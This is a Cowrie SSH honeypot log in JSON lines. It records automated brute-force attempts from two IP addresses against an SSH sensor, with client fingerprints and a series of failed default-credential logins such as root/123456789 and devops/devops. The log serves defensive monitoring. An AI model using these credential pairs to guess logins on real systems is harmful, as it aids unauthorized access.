{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:19.768292Z","src_ip":"192.109.200.78","session":"471567e02221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f88a291feeb3","protocol":"ssh","message":"New connection: 192.109.200.78:38882 (10.17.0.5:22) [session: f88a291feeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:22.031491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:22.037028Z","src_ip":"192.109.200.78","session":"f88a291feeb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:22.121299Z","src_ip":"192.109.200.78","session":"f88a291feeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:22.374295Z","src_ip":"192.109.200.78","session":"f88a291feeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:23.460010Z","src_ip":"192.109.200.78","session":"f88a291feeb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38920,"dst_ip":"10.17.0.5","dst_port":22,"session":"f053c8e8e132","protocol":"ssh","message":"New connection: 192.109.200.78:38920 (10.17.0.5:22) [session: f053c8e8e132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:26.060184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:26.065830Z","src_ip":"192.109.200.78","session":"f053c8e8e132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:26.148370Z","src_ip":"192.109.200.78","session":"f053c8e8e132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:26.400108Z","src_ip":"192.109.200.78","session":"f053c8e8e132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:27.834791Z","src_ip":"192.109.200.78","session":"f053c8e8e132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47898,"dst_ip":"10.17.0.5","dst_port":22,"session":"0168b282bac8","protocol":"ssh","message":"New connection: 192.109.200.78:47898 (10.17.0.5:22) [session: 0168b282bac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:30.070640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:30.079421Z","src_ip":"192.109.200.78","session":"0168b282bac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:30.165758Z","src_ip":"192.109.200.78","session":"0168b282bac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:30.641344Z","src_ip":"192.109.200.78","session":"0168b282bac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59112,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1ae527a5b06","protocol":"ssh","message":"New connection: 159.203.92.129:59112 (159.203.135.109:22) [session: c1ae527a5b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:31.083025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:31.091006Z","src_ip":"159.203.92.129","session":"c1ae527a5b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:31.097306Z","src_ip":"159.203.92.129","session":"c1ae527a5b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a123456","message":"login attempt [admin/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:31.114349Z","src_ip":"159.203.92.129","session":"c1ae527a5b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:31.727382Z","src_ip":"192.109.200.78","session":"0168b282bac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:32.121434Z","src_ip":"159.203.92.129","session":"c1ae527a5b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6530d3f1910","protocol":"ssh","message":"New connection: 192.109.200.78:47902 (10.17.0.5:22) [session: e6530d3f1910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:34.337153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:34.342112Z","src_ip":"192.109.200.78","session":"e6530d3f1910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:34.426289Z","src_ip":"192.109.200.78","session":"e6530d3f1910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:34.674518Z","src_ip":"192.109.200.78","session":"e6530d3f1910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:35.759491Z","src_ip":"192.109.200.78","session":"e6530d3f1910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47452,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f46162624f","protocol":"ssh","message":"New connection: 192.109.200.78:47452 (10.17.0.5:22) [session: c7f46162624f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:38.431286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:38.436563Z","src_ip":"192.109.200.78","session":"c7f46162624f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:38.522972Z","src_ip":"192.109.200.78","session":"c7f46162624f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:38.771855Z","src_ip":"192.109.200.78","session":"c7f46162624f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:39.886115Z","src_ip":"192.109.200.78","session":"c7f46162624f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47468,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7e9413c32f2","protocol":"ssh","message":"New connection: 192.109.200.78:47468 (10.17.0.5:22) [session: e7e9413c32f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:42.557659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:42.562415Z","src_ip":"192.109.200.78","session":"e7e9413c32f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:42.733981Z","src_ip":"192.109.200.78","session":"e7e9413c32f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:43.141584Z","src_ip":"192.109.200.78","session":"e7e9413c32f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:44.228389Z","src_ip":"192.109.200.78","session":"e7e9413c32f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47484,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12c32c5a827","protocol":"ssh","message":"New connection: 192.109.200.78:47484 (10.17.0.5:22) [session: b12c32c5a827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:46.694635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:46.700353Z","src_ip":"192.109.200.78","session":"b12c32c5a827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:46.784379Z","src_ip":"192.109.200.78","session":"b12c32c5a827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:47.315379Z","src_ip":"192.109.200.78","session":"b12c32c5a827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:48.404764Z","src_ip":"192.109.200.78","session":"b12c32c5a827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46298,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6cd41e3f87d","protocol":"ssh","message":"New connection: 192.109.200.78:46298 (10.17.0.5:22) [session: a6cd41e3f87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:50.869703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:50.874943Z","src_ip":"192.109.200.78","session":"a6cd41e3f87d","protocol":"ssh"}
